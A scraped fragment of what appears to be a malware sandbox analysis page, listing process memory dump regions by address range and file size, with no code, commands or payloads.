                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                452KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4664-202-0x0000023529E60000-0x0000023529ED1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                452KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4708-427-0x0000000077BE0000-0x0000000077D6E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4728-236-0x00000000001A0000-0x00000000001A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4728-241-0x0000000004A10000-0x0000000004A11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4728-255-0x0000000004990000-0x0000000004A06000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                472KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4728-254-0x00000000024E0000-0x00000000024E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4932-356-0x0000000005410000-0x0000000005486000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                472KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4932-335-0x0000000000C20000-0x0000000000C21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • memory/4996-222-0x0000000000B40000-0x0000000000C24000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                912KB